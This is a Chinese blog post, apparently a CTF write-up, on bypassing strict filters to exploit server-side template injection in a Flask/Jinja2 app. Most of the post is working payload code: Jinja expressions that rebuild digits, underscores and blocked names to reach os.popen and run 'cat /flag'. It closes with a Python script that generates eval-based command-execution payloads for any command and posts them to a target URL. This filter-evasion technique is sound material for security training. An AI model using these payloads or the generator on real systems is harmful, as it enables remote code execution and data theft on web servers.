严格过滤下的SSTI注入

发布于 2023-07-30  451 次阅读


  • 本篇复现分析一个过滤了中括号、args、下划线、单双引号、os、request、双花括号、数字的绕过流程

注入判定

  • 首先需要判断是否存在ssti注入,但是双花括号{{}}已经被过滤了,所以只能使用{%%},但是数字也被过滤了,就不能{%print 123%}了(不能直接{%print a%}因为a没定义,但是双引号又被过滤了,所以也不能{%print "a"%}),这里考虑使用if语句{%if 条件%}result{%endif%}
  • 如果没有定义a变量,直接{%if a%}result{%endif%},那么a会被当作false,result不会被执行,那么相反的,使用{%if not a%}result{%endif%},则result可以执行,我们在result处随便填个字符串把他打印出来,分别运行两个if,如果一次打印,一次不打印就说明有ssti辣
{%if a%}yes{%endif%}

{%if not a%}yes{%endif%}

获取数字

  • 确定了存在ssti注入,因为所有数字都被过滤了,而数字又早晚要用,所以要先用set大法把数字都set出来
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%print (one,two,three,four,five,six,seven,eight,nine)%}

获取下划线

  • 下划线也被过滤了,使用set获取下划线的语句如下,这里使用了数字和字符串pop,数字倒是好办,前面已经set出来了,但是pop的单引号是被过滤了的
{%set xiahuaxian=(lipsum|string|list)|attr('pop')(3*8)%}
  • 所以我们需要使用set来获取pop字符串,将他存到一个变量里面,这样使用这个字符串变量就相当于自带了引号,后面我们获取所有的字符串都是用这个方法
{%set pop=dict(pop=a)|join%}
  • 最后把上面用的3和8改成数字的set
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%print xiahuaxian%}

获取"__globals__"

(lipsum|attr("__globals__").get("os").popen("cat /flag").read()
  • 假设目标语句是上面这个,这里演示一点一点把他们拼出来
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print globals%}

  • ==按照我的理解,直接拼接os等字符串就行了,但是原方法将get和popen等函数也给拼成了字符串,然后使用attr()函数再字符串获得函数,我这里也不验证能不呢直接调用函数了,以后有空试试吧==

获取get

{%set get=dict(get=a)|join%}
{%print get%}

获取"os"

  • ==这里使用了o=a,s=b,而不是os=a,是模拟了os被过滤,后面所有的字符串过滤的绕过都是如此==
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set shell=dict(o=a,s=b)|join%}
{%print shell%}

获取os模块

  • 综合上面,获取__global__类的os模块
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)%}

获取popen

{%set popen=dict(popen=a)|join%}
{%print popen%}
  • 因为测试环境过滤了popen,所以测试语句用的
{%set miao=dict(po=a,pen=b)|join%}
{%print miao%}

获取popen方法

  • 上面已经拿到了os模块,又获取了popen字符串,加上attr就能拿到popen方法辣
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set miao=dict(po=a,pen=b)|join%}
{%print miao%}
{%print (lipsum|attr(globals))|attr(get)(shell)|attr(miao)%}

获取chr方法

  • 原方法再一次背刺我,他没有选择直接拼剩下的内容,而是选择使用chr函数一个字一个字把cat /flag字符串蹦出来,这样做肯定有别的意图,这里也不做其他尝试了

  • 因为chr这个函数本身是不能直接用的,需要引入其所在的bultins类,然后通过set一个变量来获取这个函数,那么就按上面的方法先获取builtins类,上面有下划线和字符串的获取,这里就不赘述了

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}

  • 拿到bulitins类后使用get找到chr函数,然后set给char,因为上面有get的获取,这里就不赘述了
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%print char%}

获取'cat /flag'

  • 用chr函数来拼接cat /flag,chr已经很熟了,可以ascii转字符
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%print char%}
{%set command=char(five*five*four-one)+char(five*five*four-three)+char(four*five*six-four)+char(four*eight)+char(six*eight-one)+char(three*six*six-six)+char(three*six*six)+char(five*five*four-three)+char(three*six*six-five)%}
{%print command%}

获取read

{%set read=dict(read=a)|join%}
{%print read%}

执行命令

  • 将上面的所有命令汇总一下就可以辣
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set miao=dict(po=a,pen=b)|join%}
{%print miao%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)+char(five*five*four-three)+char(four*five*six-four)+char(four*eight)+char(six*eight-one)+char(three*six*six-six)+char(three*six*six)+char(five*five*four-three)+char(three*six*six-five)%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(miao)(command)|attr(read)()%}
{%set three=dict(ccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set miao=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set read=dict(read=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)|attr(miao)('dir')|attr(read)()%}

[GDOUCTF 2023]

  • 其实上面的测试就是在本题的环境下面做的,因为本题的过滤远远没有上面的情况那么严格,好像只过滤了花括号和popen,所以直接拿上面的打就可以了
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set miao=dict(po=a,pen=b)|join%}
{%print miao%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)+char(five*five*four-three)+char(four*five*six-four)+char(four*eight)+char(six*eight-one)+char(three*six*six-six)+char(three*six*six)+char(five*five*four-three)+char(three*six*six-five)%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(miao)(command)|attr(read)()%}

  • 根据上面的原理,自然也可以出脚本,直接来一篇脚本跑
  • 这份脚本使用了builtins类的eval函数,并且在模拟了本篇的严格过滤情况的同时还将所有的函数名都用上面提到的a=,b=的方法给set了,在不同情况下改一下就能跑
from typing import List

import requests

url = ""
def build_number(num: int) -> str:
    result: List[str] = []
    index: int = 0
    while num > 0:
        n: int = num % 10
        result.append(f"({num2var(n)}{'*ten'*index})")
        num //= 10
        index += 1
    return "+".join(result)

num2var_dict = {
    0: "zero",
    1: "one",
    2: "two",
    3: "three",
    4: "four",
    5: "five",
    6: "six",
    7: "seven",
    8: "eight",
    9: "nine"
}

def num2var(num: int) -> str:
    if abs(num) >= 10:
        raise Exception("no way")
    return num2var_dict[num]

def build_payload(command: str) -> str:
    return """{% set one=(a,)|length %}
{% set zero=one-one %}
{% set two=one+one %}
{% set three=one+two %}
{% set four=two*two %}
{% set five=three+two %}
{% set six=three*two %}
{% set seven=one+six %}
{% set eight=four*two %}
{% set nine=one+eight %}
{% set ten=five*two %}
{% set pops=dict(p=a,op=a)|join %}
{% set lo=(x|reject|string|list)|attr(pops)(""" + build_number(24) + """)%}
{% set init=(lo,lo,dict(ini=a,t=a)|join,lo,lo)|join %}
{% set cc=(lo,lo,dict(glo=a,bals=a)|join,lo,lo)|join %}
{% set ccc=(lo,lo,dict(get=a,item=a)|join,lo,lo)|join %}
{% set cccc=(lo,lo,dict(buil=a,tins=a)|join,lo,lo)|join %}
{% set evas=dict(ev=a,al=a)|join %}
{% set chs=dict(ch=a,r=a)|join %}
{% set chr=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(chs)%}
{% set eval=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(evas) %}
{% print(eval((""" + ",".join([f"chr({build_number(ord(c))})" for c in f"__import__('os').popen('{command}').read()"]) + """)|join)) %}"""

def run(command: str) -> str:
    payload = build_payload(command)
    response = requests.post(url, data={"name": payload})
    print(payload)
    print(response.text)
    #return re.findall(f"h3>(.*?)</h3", response.text, re.S)[0].strip()

c = 'cat /flag'
print(run(c))
  • 比如本题,随便传一个一,抓包看看

  • 可以看到,flask的路由是post了name参数到了一个/get_flag的路径,所以脚本的run函数不用动,把url改成
url = "http://node2.anna.nssctf.cn:28484//get_flag"

  • 直接运行脚本

届ける言葉を今は育ててる
最后更新于 2024-02-07